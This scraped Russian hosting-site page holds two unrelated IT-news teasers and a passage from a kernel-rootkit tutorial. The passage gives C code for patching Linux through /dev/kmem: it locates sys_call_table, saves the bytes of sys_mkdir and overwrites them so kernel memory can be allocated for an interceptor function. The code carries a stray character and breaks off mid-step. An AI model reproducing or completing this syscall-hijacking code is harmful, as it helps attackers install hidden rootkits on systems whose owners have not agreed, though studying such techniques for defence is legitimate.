Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
kma = get_kma(page_offset);
Отобразим полученные данные:
printf("OK "
"page_offset : 0x%08x "
"sys_call_table[] : 0x%08x "
"kmalloc() : 0x%08x ",
page_offset,
sct,
kma);
kmem = open(KMEM_FILE, O_RDWR, 0);
if (kmem < 0) return 0;
Для размещения функции new_mkdir в адресном пространстве ядра выделим блок памяти. Для этого воспользуемся вышеприведенным алгоритмом вызова функции ядра из пространства пользователя.
Получим адрес системного вызова sys_mkdir:
if (!rkml(kmem, sct+(_SYS_MKDIR_*4), &sys_mkdir_addr)) {
printf("Cannot get addr of %d syscall ", _SYS_MKDIR_);
return 1;
}
Сохраним первые N байт этого вызова в буфере tmp, где N=get_kmalloc_size (get_kmalloc_size – это размер функции get_kmalloc и его предстоит определить):
if (!rkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) {
printf("Cannot save old %d syscall! ", _SYS_MKDIR_);
return 1;
}
Перезаписываем N сохраненных байт системного вызова sys_mkdir функцией get_kmalloc:
if (!wkm(kmem, sys_mkdir_addr,(void *)get_kmalloc_addr, ї get_kmalloc_size)) {
printf("Can't overwrite our syscall %d! ",_SYS_MKDIR_);
return 1;
}
Адрес функции get_kmalloc (get_kmalloc_addr) также предстоит определить.
Заполняем поля структуры struct kma_struc:
kmalloc.kmalloc = (void *) kma; – адрес функции kmalloc
kmalloc.size = new_mkdir_size; – размер запращевоемой
памяти (размер функции-перехватчика new_mkdir)